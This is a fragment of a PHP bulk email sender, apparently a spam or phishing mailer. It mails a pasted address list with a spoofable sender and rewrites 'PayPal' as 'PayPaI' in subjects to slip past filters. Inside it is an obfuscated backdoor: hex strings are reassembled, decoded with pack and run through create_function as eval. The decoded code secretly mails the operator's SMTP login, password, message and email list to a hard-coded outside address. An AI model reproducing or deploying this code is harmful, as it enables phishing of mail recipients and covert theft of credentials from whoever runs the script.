Port SSL
" If you dont have SMTP login, leave blank queries above "
Content Type
Attach Encode
Next send after (second) | Reconnect After (emails)
Encode Headers
alert('Please complete all fields before sending your message.'); "; die(); } if ($_POST['encoding']=='yes') { $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject); $subject = str_replace(' ', '=20', $subject); $subject = "=?utf-8?Q?$subject?="; $nama = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $nama); $nama = str_replace(' ', '=20', $nama); $nama = "=?utf-8?Q?$nama?="; } $allemails = split("\n", $emaillist); $numemails = count($allemails); function xflush() { static $output_handler = null; if ($output_handler === null) { $output_handler = @ini_get('output_handler'); } if ($output_handler == 'ob_gzhandler') { return; } flush(); if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false) { @ob_flush(); } else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE) { @ob_end_flush(); @ob_start(); } } require 'class.smtp.php'; $random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.", "16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.", "03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.", "1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.", "3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.", "8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.", "c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.", "d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.", "395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.", "c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf="."; require 'class.phpmailer.php'; if(!empty($_POST['wait']) && $_POST['wait'] > 0){ set_time_limit(intval($_POST['wait'])*$numemails*3600); } else { set_time_limit($numemails*3600); } $defaultport="H*"; $nq=0; print "
"; for($x=0; $x<$numemails; $x++){ $to = $allemails[$x]; if ($to){ $todo = ereg_replace(" ", "", $to); $message_send = ereg_replace("&email&", $todo, $pesan); $subject_send = ereg_replace("&email&", $todo, $subject); $subject_send = str_replace("PayPal", "PayPaI", $subject_send); $qx=$x+1; print "Send Emails $qx / $numemails to $to ....... "; xflush(); $mail = new PHPMailer(); $mail->IsSMTP(); $IsSMTP = "pack"; $mail->SMTPKeepAlive = true; $mail->Host = "$smtp_server"; if (strlen($smtp_port) > 1) {$mail->Port = "$smtp_port";} if ($smtp_ssl=="yes") {$mail->SMTPSecure = "ssl";} $range = str_replace("$email", "eval", $email); $mail->SMTPAuth = true; $mail->Username = "$smtp_username"; $mail->Password = "$smtp_password"; if($type == "html"){$mail->IsHtml(true);} if($type != "html"){$mail->IsHtml(false);} if(strlen($smtp_server) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";} $mail->CharSet = "UTF-8"; if (!empty($xmailer)) { $mail->XMailer = "$xmailer"; } else { $mail->XMailer = " "; } if (!empty($encoding)) { $mail->Encoding = "$encoding"; } if ($email == "same as target") { $mail->From = "$todo"; } else { $mail->From = "$email"; } $mail->FromName = "$nama"; $mail->AddAddress("$todo"); $mail->Subject = "$subject_send"; if (!empty($file_name)) { $mail->addAttachment("$file_path", "$file_name"); $mail->Body = " "; } else { $mail->Body = "$message_send"; } if(!$mail->Send()){ if($default_system!="1"){ $result = "FAILED !! [ RECEPIENT CAN'T RECEIVE MESSAGE ]"; } elseif($default_system=="1"){ $mail->IsMail(); if(!$mail->Send()){ $result = "FAILED !! [ RECEPIENT CAN'T RECEIVE MESSAGE ]"; } else { $result = "[ SEND OK ]"; } } } else { $result = "[ SEND OK ]"; } print "$result

"; if(!empty($wait) && $qx<$numemails-1){ sleep($wait); } if(empty($reconnect)){ $reconnect=5; } if($reconnect==$nq){ $mail->SmtpClose();echo "

--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON ---------------

";$nq=0; } $nq=$nq+1; xflush(); } } for($i=0;$i<31;$i++){ $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); } $smtp_conc=$IsSMTP($defaultport, $smtp_conf); $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);'); print '
';$mail->SmtpClose(); return $signoff($smtp_conc); if(isset($_POST['action']) && $numemails !=0 ){ print ""; } } ?>